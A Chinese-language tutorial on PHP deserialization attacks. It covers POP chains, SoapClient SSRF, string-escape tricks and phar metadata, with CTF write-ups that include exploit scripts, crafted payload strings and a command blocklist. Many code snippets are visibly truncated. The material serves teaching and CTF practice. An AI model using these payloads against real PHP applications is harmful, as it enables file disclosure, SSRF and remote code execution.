PHP反序列化
因笔者水平有限,若某处有误,还请斧正。
一、基础
为方便存储、转移对象,将对象转化为字符串的操作叫做序列化;将对象转化的字符串恢复成对象的过程叫做反序列化。
php中的序列化与反序列化函数分别为:serialize()、unserialize()
" . serialize($a)."n"; ?> //运行结果 serialize -> O:4:"azhe":3:{s:2:"iq";s:3:"200";s:2:"eq";i:300;s:8:"azhepr";s:6:"4ut15m";} 将结果进行url编码如下 O%3A4%3A%22azhe%22%3A3%3A%7Bs%3A2%3A%22iq%22%3Bs%3A3%3A%22200%22%3Bs%3A2%3A%22eq%22%3Bi%3A300%3Bs%3A8%3A%22%00azhe%00pr%22%3Bs%3A6%3A%224ut15m%22%3B%7D
序列化后的结果可分为几类
类型:d ->d代表一个整型数字 O:d -> 对象 ->d代表该对象类型的长度,例如上述的azhe类对象长度为4,原生类对象Error长度为5 a:d -> 数组 ->d代表数组内部元素数量,例如array('a'=>'b','x'=>1)有两个元素 s:d -> 字符串 -dN代表字符串长度,例如abc序列化后为s:3:"abc"; i:d -> 整型 ->d代表整型变量的值,例如300序列化后的值则为i:300; a - array b - boolean d - double i - integer o - common object r - reference s - string C - custom object O - class N - null R - pointer reference U - unicode string
php的session存储的也是序列化后的结果
二、序列化引擎
php对session的处理有三种引擎分别为php、php_serialize、php_binary.经过这三者处理后的session结构都不相同。
php_serialize ->与serialize函数序列化后的结果一致 php ->key|serialize后的结果 php_binary ->键名的长度对应的ascii字符+键名+serialize()函数序列化的值 默认使用php引擎
使用php引擎的结果见上图
使用php_serialize引擎的结果如下
使用php_binary引擎的结果如下
其中存在不可见字符,将结果进行URL编码如下
在session文件可写的情况下,可手动写入我们想要的内容,例如
<?php ini_set('open_basedir','/var/www/html'); session_save_path('/var/www/html'); session_start(); highlight_file(__FILE__); include "flag.php"; $banner = "--4ut15m--n"; if($_SESSION['name']==='admin'){ echo $flag." "; }else if(isset($_GET['name']) && isset($_GET['content'])){ if(preg_match('/ph/i',$_GET['name'])){ var_dump($_GET['name']); die('over'); }else file_put_contents('/var/www/html/'.$_GET['name'],$banner . $_GET['content']); } ?>
该题目中可任意文件写,故写入session文件构造name=admin.payload=|s:3:"xxx";name|s:5:"admin";
简单说一下payload.
banner和payload拼接在一起后变为--4ut15m--n|s:3:"xxx";name|s:5:"admin";
经php序列化引擎反序列化后就成为了
$_SESSION=['--4ut15m--n' => 'xxx', 'name' => 'admin']
三、魔术方法
满足一定条件自动调用的方法即为魔术方法,常见魔术方法及触发条件如下
__wakeup() //使用unserialize时触发 __sleep() //使用serialize时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发
ed; $superman->eval(); ?> //运行结果 正在实例化Superman类,这是__construct的echo 你想访问ed属性,但是Superman没有这个属性,这是__get的echo 你想调用eval方法,但是Superman没有这个方法,这是__call的echo 正在销毁Superman对象,这是__destruct的echo
四、反序列化漏洞
当程序中存在反序列化可控点时,造成该漏洞,可通过程序中存在的类和php原生类构造pop链达成攻击。
file = "index.php"; } function __destruct(){ echo file_get_contents($this->file); } } unserialize($_GET['file']); ?>
又例如
name = "4ut15m"; } function __destruct(){ echo $this->name; } } class wow{ public $wuhusihai = ""; function __construct(){ $this->wuhusihai = "wuwuwu"; } function __toString(){ $this->wuhusihai->b(); return "ok"; } } class fine{ public $code = ""; function __call($key,$value){ @eval($this->code); } } unserialize($_GET['payload']); ?>
pop链为hit->__destruct() —-> wow->__toString() —-> fine->__call(),构造payload
4.1 原生类利用
l3m0n 文章
原生类即是php内置类,查看拥有所需魔术方法的类如下
结果如下
Exception::__wakeup Exception::__toString ErrorException::__wakeup ErrorException::__toString Generator::__wakeup DateTime::__wakeup DateTime::__set_state DateTimeImmutable::__wakeup DateTimeImmutable::__set_state DateTimeZone::__wakeup DateTimeZone::__set_state DateInterval::__wakeup DateInterval::__set_state DatePeriod::__wakeup DatePeriod::__set_state LogicException::__wakeup LogicException::__toString BadFunctionCallException::__wakeup BadFunctionCallException::__toString BadMethodCallException::__wakeup BadMethodCallException::__toString DomainException::__wakeup DomainException::__toString InvalidArgumentException::__wakeup InvalidArgumentException::__toString LengthException::__wakeup LengthException::__toString OutOfRangeException::__wakeup OutOfRangeException::__toString RuntimeException::__wakeup RuntimeException::__toString OutOfBoundsException::__wakeup OutOfBoundsException::__toString OverflowException::__wakeup OverflowException::__toString RangeException::__wakeup RangeException::__toString UnderflowException::__wakeup UnderflowException::__toString UnexpectedValueException::__wakeup UnexpectedValueException::__toString CachingIterator::__toString RecursiveCachingIterator::__toString SplFileInfo::__toString DirectoryIterator::__toString FilesystemIterator::__toString RecursiveDirectoryIterator::__toString GlobIterator::__toString SplFileObject::__toString SplTempFileObject::__toString SplFixedArray::__wakeup ReflectionException::__wakeup ReflectionException::__toString ReflectionFunctionAbstract::__toString ReflectionFunction::__toString ReflectionParameter::__toString ReflectionMethod::__toString ReflectionClass::__toString ReflectionObject::__toString ReflectionProperty::__toString ReflectionExtension::__toString ReflectionZendExtension::__toString DOMException::__wakeup DOMException::__toString PDOException::__wakeup PDOException::__toString PDO::__wakeup PDOStatement::__wakeup SimpleXMLElement::__toString SimpleXMLIterator::__toString PharException::__wakeup PharException::__toString Phar::__destruct Phar::__toString PharData::__destruct PharData::__toString PharFileInfo::__destruct PharFileInfo::__toString CURLFile::__wakeup mysqli_sql_exception::__wakeup mysqli_sql_exception::__toString SoapClient::__call SoapFault::__toString SoapFault::__wakeup
Error
将Error对象以字符串输出时会触发__toString,构造message可xss
异常类大多都可以如此利用
SoapClient
__call方法可用
'http://vps:port','location'=>'http://vps:port/')); #echo serialize($a); $a->azhe(); //还可以设置user_agent,user_agent处可通过CRLF注入恶意请求头 ?>
4.2 反序列化字符逃逸
序列化字符串内容可控情况下,若服务端存在替换序列化字符串中敏感字符操作,则可能造成反序列化字符逃逸。
序列化字符串字符增加
id = "100"; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha --> {$haha} "; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>
$taoyi->id
被限定为100,但是$taoyi->name
可控并且$taoyi
对象被序列化后会经过filter函数处理,将敏感词QAQ替换为wuwu,而我们需要使最后的$haha->id='3333'
.
正常传值name=4ut15m,结果为O:5:"Taoyi":2:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";} 传递包含敏感词的值name=4ut15mQAQ,结果为O:5:"Taoyi":2:{s:4:"name";s:9:"4ut15mwuwu";s:2:"id";s:3:"100";} 可以看见s:4:"name";s:9:"4ut15mwuwu";这里4ut15mwuwu的长度为10,和前面的s:9对不上,所以会反序列化失败。 这里构造一个payload去闭合双引号,name=4ut15mQAQ",结果为O:5:"Taoyi":2:{s:4:"name";s:10:"4ut15mwuwu"";s:2:"id";s:3:"100";} 可以看见s:10:"4ut15mwuwu"";其中s:10所对应的字符串为4ut15mwuwu,也即是我们输入的双引号闭合了前面的双引号,而序列化自带的双引号则成为了多余的双引号。 我们每输入一个敏感字符串都可以逃逸一个字符(上面输入了一个QAQ,所以可以逃逸出一个双引号去闭合前面的双引号)。 故我们可以通过构造payload使得我们能够控制id的值,达到对象逃逸的效果。 如下图
payload为name=4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:4:"3333";}
payload构造思路 先明确需要逃逸的字符串及其长度,在此即为";s:2:"id";s:4:"3333";}长度为23,需要逃逸23个字符,所以加入23个QAQ即可满足条件.
序列化字符串字符减少
id = "100"; $taoyi->xixi = $xixi; $taoyi->name = $name; $haha = filter(serialize($taoyi)); echo "haha --> {$haha} "; @$haha = unserialize($haha); if($haha->id === '3333'){ echo $flag; } ?>
序列化字符串减少的情况,需要序列化字符串有至少两处可控点.这里是将敏感词wuwu替换为QAQ。
正常传值name=4ut15m&xixi=1234,结果为O:5:"Taoyi":3:{s:4:"name";s:6:"4ut15m";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 第一个可控点name作为逃逸点,第二个可控点xixi作为逃逸对象所在点. 因为需要逃逸的属性id在xixi的前面,故需要通过在name处构造payload将属性id对应的字符串吞没. 测试传值name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=1234 结果为O:5:"Taoyi":3:{s:4:"name";s:82:"4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100";s:4:"xixi";s:4:"1234";} 可以看到替换后s:82对应的字符串为4ut15mQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQQAQ";s:2:"id";s:3:"100 故替换后只剩两个属性name与xixi.同样的道理可以用在属性xixi上,如果不吞没属性xixi,那么在xixi处传递的数据会作为xixi的值,仍旧无法达到效果。 只要将id与xixi都吞没,就可以在xixi处传递参数重新构造这两个属性值。 如下
payload为name=4ut15mwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwuwu&xixi=";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";}
payload构造思路 先明确需要逃逸的字符串,";s:2:"id";s:4:"3333";s:4:"xixi";s:1:"x";},再确认逃逸字符串字符串之前需要吞没的字符串的长度,在此为";s:2:"id";s:3:"100";s:4:"xixi";s:42:" 长度为38 每一个wuwu可以吞没一个字符,所以需要38个wuwu去吞没这个字符串。
4.3 PHAR协议利用
phar文件是php的打包文件,在php.ini中可以通过设置phar.readonly来控制phar文件是否为只读,若非只读(phar.readonly=Off)则可以生成phar文件.
phar文件结构
四部分,stub、manifest、contents、signature
1.stub phar文件标志,必须包含,PHP结束标志?>可以省略,但语句结束符;与stub的结尾之间不能超过两个空格。在生成phar之前应先添加stub.之前也可添加其他内容伪造成其他文件,比如GIF89a 2.manifest 存放phar归档信息.Manifest结构如下图 所有未使用的标志保留,供将来使用,并且不得用于存储自定义信息。使用每个文件的元数据功能来存储有关特定文件的自定义信息.
phar反序列化触发函数
php中的大部分与文件操作相关函数在通过phar协议获取数据时会将phar文件的meta-data部分反序列化
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile
生成phar文件例子如下
startBuffering(); //开启缓冲区 $phar->setStub(""); //设置stub $test = new pharfile(); $phar->setMetadata($test); //设置metadata,这一部分数据会被序列化 $phar->addFromString("azhe.txt",'test'); //添加压缩文件 $phar->stopBuffering(); //关闭缓冲区 ?>
4.4 PHP引用
&
在php中是位运算符也是引用符(&&
为逻辑运算符).&
可以使不同名变量指向同一个值,类似于C中的地址。
倘若出现下述情况,即可使用引用符
one = "azhe"; } } $a = @unserialize($_GET['payload']); $a->two = $flag; if($a->one === $a->two){ echo "flag is here:$flag"; } ?>
这里的__wakeup
是不需要绕过的,$a->one
引用了$a->two
后这两者的值一定会相等,不管谁做了改变。
序列化结果中的R:2;
即是引用.
五、BUGKU
安慰奖
算是反序列化入门题吧
index.php中发现提示
下载备份文件index.php.bak,审计
<?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0); echo ""; class ctf { protected $username = 'hack'; protected $cmd = 'NULL'; public function __construct($username,$cmd) { $this->username = $username; $this->cmd = $cmd; } function __wakeup() { $this->username = 'guest'; } function __destruct() { if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd)) { exit('flag能让你这么容易拿到吗? '); } if ($this->username === 'admin') { // echo " right! "; $a = `$this->cmd`; var_dump($a); }else { echo "给你个安慰奖吧,hhh!"; die(); } } } $select = $_GET['code']; $res=unserialize(@$select); ?>
直接编写exp
禁用了一些文件读取命令,曲线救国如下
六、BUUCTF
ZJCTF 2019 NiZhuanSiWei
源码
<?php $text = $_GET["text"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "".file_get_contents($text,'r')." "; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); }![image-20201204165807234.png](https://image.3001.net/images/20210218/1613636557_602e23cd4fca4536c1e47.png!small) ?> //考点: 基本的反序列化漏洞,php伪协议的利用
第一层if通过php://input满足,file通过php://filter读取useless.php
//useless.php file)){ echo file_get_contents($this->file); echo " "; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
payload构造
创建一个Flag对象,使得该对象的file属性为flag.php 提交序列化字符串即可
MRCTF2020 Ezpop
append($this->var); } } class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source." "; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); } //考点: 基本的序列化pop链构造
payload构造
思路:1.需要将Modifier的对象当作函数调用 2.需要将Show的对象当作字符串处理 3.需要调用Test对象中不存在的属性 preg_match是处理字符串的,当使得一个Show1->source为Show2对象时,可调用Show2的__toString.而该魔术方法调用$this->str->source,若使得该对象的source为Test对象,则可触发Test对象的__get方法,在Test对象的__get方法中又可构造使得将一个Modifier类当作函数调用,触发__invoke. payload如下
CISCN2019 Day1 Web1 Dropbox
注册账号登录后,在下载功能处发现任意文件下载,扒取源码如下
//index.php 网盘管理 管理面板 上传文件 你好
Name(); $a->Size(); ?>
//login.php 登录 .bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; } @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } } 登录 Username Password 提交 还没有账号? 注册
© 2018-2019
<?php include "class.php"; if (isset($_GET['register'])) { echo "toast('注册成功', 'info');"; } if (isset($_POST["username"]) && isset($_POST["password"])) { $u = new User(); $username = (string) $_POST["username"]; $password = (string) $_POST["password"]; if (strlen($username) verify_user($username, $password)) { $_SESSION['login'] = true; $_SESSION['username'] = htmlentities($username); $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/"; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION['sandbox'] = $sandbox; echo("window.location.href='index.php';"); die(); } echo "toast('账号或密码错误', 'warning');"; } ?>
//download.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
//delete.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
//upload.php false, "error" => "Only gif/jpg/png allowed"); Header("Content-type: application/json"); echo json_encode($response); die(); } if (strlen($filename) true, "error" => ""); Header("Content-type: application/json"); echo json_encode($response); } else { $response = array("success" => false, "error" => "Invaild filename"); Header("Content-type: application/json"); echo json_encode($response); } } ?>
//class.php db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = ''; $table .= ''; foreach ($this->funcs as $func) { $table .= '' . htmlentities($func) . ' '; } $table .= 'Opt '; $table .= ' '; foreach ($this->results as $filename => $result) { $table .= ''; foreach ($result as $func => $value) { $table .= '' . htmlentities($value) . ' '; } $table .= ' 下载 / 删除 '; $table .= ' '; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i filename); } public function close() { return file_get_contents($this->filename); } } ?> 先分析类文件,User类存在__destruct
魔术方法,并且在其中调用$this->db->close()
,再一看File类,刚好有close
方法,但是User的__destruct
中并未输出结果。再看FileList类,其中存在__call
与__destruct
.__call
方法首先将调用的不存在函数$func
放至FileList->funcs
数组尾部,而后遍历FileList->files
并且调用FileList->files->$func()
,执行结果会被赋值给FileList->result
.FileList->__destruct方法输出result的结果。
很常规,该题POP链很好构造。User->__destruct --> FileList->__call --> File->close() --> FileList->__destruct
在delete.php中找到程序反序列化触发点
跟进detele方法
unlink是个文件操作函数,可以通过phar协议进行反序列化。程序可以上传图片,故生成phar文件修改后缀上传,在删除功能处触发反序列化即可(经测试,flag文件为/flag.txt)。
exp如下
db = new FileList(); } } class FileList{ private $files; private $results; private $funcs; public function __construct(){ $this->files = array(new File()); $this->results; $this->funcs; } } class File{ public $filename = "../../../../../../flag.txt"; } $a = new User(); $phar = new Phar('4ut15m.phar'); $phar->startBuffering(); $phar->setStub(''); $phar->setMetadata($a); $phar->addFromString('azhe.txt','4ut15m'); $phar->stopBuffering(); ?>
网鼎杯 2020 青龙组 AreUSerialz
process(); } public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; } private function output($s) { echo "[Result]: "; echo $s; } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i = 32 && ord($s[$i])
程序只允许使用ascii码在32-125范围内的字符,满足条件就反序列化。
process方法中规定,当op=="2"时可以读取$filename
文件,op=="1"时可以写入文件.
析构函数中规定,当op==="2"时使得op="1".
综上可知,当使得op !=="2"但op =="2"时,可以读取文件。构造op=2可满足条件
payload构造
因为要读取flag.php,所以使得filename='flag.php';因为要执行读取操作,所以使得op=2 类的private或protected属性在序列化后存在不可见字符,不可见字符不在可使用字符范围内(如若可用则需要将序列化后的字符串进行编码),我们可以手动修改protected属性为public属性,硬核过is_valid
0CTF 2016 piapiapia
发现www.zip,获得源码
//index.php <?php require_once('class.php'); if($_SESSION['username']) { header('Location: profile.php'); exit; } if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) 16) die('Invalid user name'); if(strlen($password) 16) die('Invalid password'); if($user->login($username, $password)) { $_SESSION['username'] = $username; header('Location: profile.php'); exit; } else { die('Invalid user name or password'); } } else { ?> Login Login Username: Password: LOGIN
//profile.php show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> Profile Hi Phone: Email:
//register.php <?php require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) 16) die('Invalid user name'); if(strlen($password) 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!Please Login '; } else { die('User name Already Exists'); } } else { ?> Login Register Username: Password: REGISTER
//update.php 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!Your Profile '; } else { ?> UPDATE Please Update Your Profile Phone: Email: Nickname: Photo: UPDATE
//class.php table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = ''' . implode('','', $value_list) . '''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array(''', ''); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
//config.php //考点: 序列化字符串字符增加的反序列化
代码审计过后,发现序列化(update.php)与反序列化(profile.php)的点
过滤函数filter(class.php)如下
在profile.php第16行代码中,可以看到有读取文件的操作,结合前面的序列化,可以知道这里可以逃逸photo,控制photo为想要读取的文件名再访问profile.php文件即可。
phone与email的限制很严,无法绕过,可以看见在nickname参数中我们能够输入一切我们想输入的字符(";:等).只要能够使得后半段if判断通过,即可。
strlen函数在判断数组时会返回null,而null在与整型数字判断时会返回false,故构造nickname为数组即可绕过nickname的if判断
payload构造
正常序列化结果如下 $profile['phone'] = '12345678911'; $profile['email'] = [email protected] '; $profile['nickname'] = ['wuhusihai']; $profile['photo'] = 'upload/123456'; a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"[email protected] ";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";} 明确需要逃逸的字符串为";}s:5:"photo";s:10:"config.php";},长度为34,故需要34个敏感词where来完成逃逸 构造payload再序列化查看结果 $profile['phone'] = '12345678911'; $profile['email'] = [email protected] '; $profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}']; $profile['photo'] = 'upload/123456'; a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"[email protected] ";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";} PS:可通过校验hacker字符串的长度是否为204来判断是否正确,也可在本地进行反序列化,看能否正常反序列化
提交payload
访问profile.php
解码
安洵杯 2019 easy_serialize_php
源码
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo 'source_code'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.php }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } //考点: 序列化字符串字符减少的反序列化,extract变量覆盖
通过extract可覆盖全局变量$_SESSION
进一步可控制序列化结果中的user与function,两处可控并且filter会减少序列化字符串字符数,进一步逃逸对象
payload为GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
payload构造思路 首先构造需要逃逸的字符串 ";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串为 a:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 查看需要吞没的字符串长度";s:8:"function";s:70:",长度为23,根据filter函数可知,关键词php可吞没3个字符,flag可吞没4个字符,即构造flag*5+php -> flagflagflagflagflagphp 二者结合可得 _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
bestphp's revenge
//考点: php原生类反序列化
访问flag.php,发现
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
虽然call_user_func各个参数皆可控,但由于第二个参数类型不可控(定死为数组),无法做到任意代码执行。我们需要通过ssrf使服务器访问到flag.php即可获得flag.在没有可见的ssrf利用处时,可考虑php自身的ssrf,也即是php原生类SoapClient.如下
'http://vps/flag.php','uri'=>'http://vps/flag.php')); $a->azhe(); ?>
所以,现在如何使程序去SSRF成为首要问题。
我们知道,php在保存session之时,会将session进行序列化,而在使用session时则会进行反序列化,可控的session值导致了序列化的内容可控。
结合php序列化引擎的知识可知,默认序列化引擎为php,该方式序列化后的结果为key|序列化结果
,如下
而php_serialize引擎存储的结果则仅为序列化结果,如下
在php引擎中,|
之前的内容会被当作session的键,|
后的内容会在执行反序列化操作后作为session键对应的值,比如name|s:6:"4ut15m";
里的name就成为了$_SESSION['name'],而s:6:"4ut15m";
在执行反序列化操作后则变成了字符串4ut15m,二者结合即是$_SESSION['name']="4ut15m"
因为call_user_func的参数可控,故我们可以调用函数ini_set或者session_start来修改序列化引擎。一系列操作如下
先生成所需的序列化字符串
需要在序列化结果前添加一个|
,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
尝试修改题目序列化引擎,ini_set无法处理数组,故用session_start("serialize_handler")
再访问一次该页面,则变为了默认引擎(php),可以看到序列化结果键已经不再是name,值也不再是|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}
,而是SoapClient对象
接下来,想要使该SoapClient对象能够发起请求,就需要调用该对象的__call
